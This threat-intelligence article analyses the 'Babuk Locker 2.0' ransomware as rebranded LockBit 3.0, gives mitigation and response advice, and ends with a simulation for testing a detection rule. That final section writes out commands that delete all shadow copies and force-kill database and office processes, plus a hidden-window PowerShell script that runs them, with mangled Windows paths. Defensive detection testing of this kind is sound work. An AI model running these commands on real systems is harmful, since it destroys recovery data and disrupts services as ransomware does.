Is Babuk Back? Uncovering the Truth Behind Babuk Locker 2.0

Summary

The article analyzes the 2025 “Babuk Locker 2.0” activity and concludes it’s best understood as brand hijacking—a misleading re-label of LockBit 3.0–style ransomware, not a true return of the original Babuk operation. The operators, loosely linked to names like Skywave and Bjorka, appear to recycle previously leaked victim data and lean on double-extortion pressure to coerce payments. Technical findings indicate reuse of LockBit components and standard ransomware tradecraft, including shadow copy deletion and service/process termination prior to encryption. Overall, the case shows how ransomware actors exploit familiar branding to manufacture credibility and accelerate victim compliance.

Investigation

Researchers compared the 2025 sample to known LockBit 3.0 artifacts and found matching routines for wallpaper changes and ransom note generation. The malware also contains a hard-coded mutex with a taunting message aimed at a security researcher, alongside an embedded list of services and processes it attempts to stop before encrypting files. Infrastructure signals—including leak-site patterns and cryptocurrency “donation”/payment pages—reinforce the assessment that this is an impostor campaign rather than a legitimate Babuk revival.

Mitigation

Enforce application control to prevent unauthorized use of utilities such as vssadmin, and alert on abnormal attempts to stop backup agents or other protective services. Maintain regular offline backups, and routinely test restore workflows to validate backup integrity. Expand endpoint detection for common ransomware precursors: creation of known ransom note filenames, suspicious mutex creation, and high-risk command lines tied to defense disruption. Use threat intelligence to drive proactive hunting for LockBit-associated indicators and behaviors.

Response

If ransomware activity is detected, isolate impacted hosts, preserve volatile and forensic evidence, and stop any scheduled tasks or mechanisms that could re-launch the malware. Activate incident response procedures, notify internal stakeholders, and involve law enforcement when extortion demands are present. Recover systems from verified clean backups, then perform a post-incident review to remediate the gaps that enabled initial access and lateral movement.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  The ransomware operator first disables recovery options by deleting all Volume Shadow Copies using the native Windows utility vssadmin.exe. To avoid file‑locks during encryption, the operator then terminates several high‑value applications (SQL Server, Oracle, Microsoft Word, Thunderbird) that could be holding open files. Both actions are performed via cmd.exe to blend in with legitimate administrative activity.

  1. Delete all shadow copies:

     C:WindowsSystem32cmd.exe /c vssadmin.exe delete shadows /all /quiet

  2. Terminate target processes (simulating service disruption):

     C:WindowsSystem32cmd.exe /c taskkill /IM sql.exe /F
     C:WindowsSystem32cmd.exe /c taskkill /IM oracle.exe /F
     C:WindowsSystem32cmd.exe /c taskkill /IM winword.exe /F
     C:WindowsSystem32cmd.exe /c taskkill /IM thunderbird.exe /F

• Regression Test Script:

  # Babuk Ransomware Simulation – triggers Sigma rule
  # ------------------------------------------------
  # 1. Delete all Volume Shadow Copies
  Write-Host "[*] Deleting all Shadow Copies..."
  Start-Process -FilePath "C:WindowsSystem32cmd.exe" -ArgumentList "/c vssadmin.exe delete shadows /all /quiet" -WindowStyle Hidden -Wait
  
  # 2. Terminate a set of high‑value processes
  $targets = @("sql.exe","oracle.exe","winword.exe","thunderbird.exe")
  foreach ($proc in $targets) {
      Write-Host "[*] Attempting to terminate $proc ..."
      Start-Process -FilePath "C:WindowsSystem32cmd.exe" -ArgumentList "/c taskkill /IM $proc /F" -WindowStyle Hidden -ErrorAction SilentlyContinue
  }
  
  Write-Host "[+] Simulation complete. Verify alerts in your SIEM."

• Cleanup Commands:

  # Cleanup – there is no persistent change beyond shadow copy deletion.
  # Optionally recreate a dummy shadow copy for testing (requires admin and VSS).
  # Here we simply restart the Sysmon service to flush any lingering events.
  
  Write-Host "[*] Restarting Sysmon to ensure clean state..."
  Restart-Service -Name sysmon -Force
  Write-Host "[+] Cleanup finished."